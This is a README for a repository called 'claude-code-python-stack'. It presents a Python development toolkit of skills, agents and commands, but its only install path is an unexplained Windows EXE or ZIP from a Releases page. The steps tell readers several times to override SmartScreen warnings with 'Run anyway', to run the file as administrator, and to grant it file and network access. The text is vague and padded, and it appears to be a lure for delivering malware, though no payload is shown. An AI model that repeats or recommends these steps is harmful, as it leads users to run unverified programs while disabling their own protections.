🐍 claude-code-python-stack - Build Python apps with less setup

🚀 What this is

claude-code-python-stack is a Python toolkit made for day-to-day app work. It gives you a ready set of tools for common Python tasks, so you can spend less time setting things up and more time using the app.

It includes support for work often done in:

• FastAPI
• Django
• SQLAlchemy
• pytest
• Allure
• PostgreSQL
• Redis
• ClickHouse
• Docker

It is built for Windows users who want a simple path to download and run the software from GitHub Releases.

📥 Download

Visit this page to download the app:

Go to Releases

On that page, look for the latest release and download the Windows file that matches your computer.

🖥️ What you need

Use this on a Windows PC with:

• Windows 10 or Windows 11
• At least 4 GB of RAM
• About 500 MB of free disk space
• Internet access for the first download
• Permission to run files on your computer

For a smoother experience:

• 8 GB of RAM or more
• Enough space for Python projects and test data
• A modern browser such as Edge, Chrome, or Firefox

🧰 What you get

The toolkit brings together many parts that people often use in Python projects:

• 20 skills for common Python work
• 11 agents for focused tasks
• 11 commands for repeat work
• Tools for web apps, tests, data, and containers
• Support for local and server-based workflows

This helps you handle tasks such as:

• Building a web app
• Running tests
• Checking test reports
• Working with databases
• Using Docker for local setup
• Managing Redis or ClickHouse based tasks

🪜 Install on Windows

1. Open the Releases page.
2. Find the newest release at the top.
3. Download the Windows file from the Assets list.
4. If the file is a ZIP, save it to your Downloads folder.
5. If the file is an EXE, save it to your computer.
6. If Windows asks for permission, choose Yes.
7. If you downloaded a ZIP file, right-click it and select Extract All.
8. Open the extracted folder.
9. Double-click the app file to start it.
10. If a SmartScreen window appears, choose More info, then Run anyway.
11. Keep the app in a folder you can find again.

▶️ First run

After you open the app for the first time:

• Wait for any setup steps to finish
• Let the app create its local files
• Follow the on-screen prompts
• Keep the window open until the setup ends

If the app asks for access to files or the network, allow it so the toolkit can work with your local projects.

🧭 How to use it

Use the toolkit when you want help with Python work such as:

• Starting a new FastAPI project
• Working on a Django site
• Setting up SQLAlchemy models
• Running pytest tests
• Reading Allure reports
• Connecting to PostgreSQL
• Using Redis for cache or queue work
• Querying ClickHouse data
• Starting Docker based services

A simple flow looks like this:

1. Open the app.
2. Choose the task you want to do.
3. Pick the project or folder.
4. Follow the next step on screen.
5. Review the output or result.

🧪 Common tasks

📦 Web app work

Use the toolkit to help with web app setup, route work, forms, and service files.

🧬 Database work

Use it for PostgreSQL, SQLAlchemy models, and query checks.

✅ Testing

Use it to run pytest, review failures, and open Allure reports.

🐳 Containers

Use it to work with Docker files, local services, and app startup tasks.

⚡ Caching and queues

Use it for Redis based cache or background job setups.

📊 Data work

Use it for ClickHouse queries and data checks.

🗂️ Folder tips

To keep things simple:

• Store your projects in one main folder
• Use short folder names
• Avoid spaces if you can
• Keep downloads and project files separate
• Back up your work before big changes

A good example:

• C:\Users\YourName\Projects\MyApp

🔐 Security tips

Keep your computer safe by using these habits:

• Download only from the Releases page
• Open files only after checking the file name
• Do not run files from unknown sources
• Keep Windows updated
• Use a local account with the right access for your work

🛠️ Troubleshooting

The file will not open

• Right-click the file and choose Run as administrator
• Check that the download finished
• Download the file again if it looks damaged

Windows says it blocked the file

• Choose More info
• Choose Run anyway
• Make sure you downloaded from the Releases page

The app opens and closes fast

• Open it from a terminal window if the release includes one
• Check that Windows did not remove the file
• Re-extract the ZIP file if needed

Nothing happens after setup

• Wait a minute for the first start
• Close the app and open it again
• Make sure your internet connection works

The download page shows more than one file

• Pick the Windows file
• If there is both ZIP and EXE, choose the one that fits your comfort level
• ZIP works well if you want to extract files yourself

📁 Release file guide

On the Releases page, you may see files like:

• .exe for direct start
• .zip for extraction first
• .sha256 for file checks
• .txt for notes or version details

For most Windows users:

• Download the .exe if available
• Use the .zip if the release page gives that format first

⌨️ Keyboard and mouse use

You can use this app with:

• Mouse clicks
• Scroll wheel
• Keyboard input where needed
• Standard Windows shortcuts like Ctrl+C and Ctrl+V

🧩 Good ways to use the toolkit

• Keep one browser window open for project files
• Keep one window open for the app
• Save your work often
• Test one change at a time
• Use small steps when you are new to the tool

📌 Where to get updates

Check the Releases page when you want the latest version:

https://github.com/Izangi2714/claude-code-python-stack/releases

🗃️ File names you may see

You may see file names that include:

• Version numbers
• Windows
• x64
• setup
• portable
• release

Pick the file that matches your system and the format you prefer.

🧭 Simple start path

1. Open the Releases page.
2. Download the latest Windows file.
3. Open or extract the file.
4. Run the app.
5. Follow the on-screen setup.
6. Start your Python task.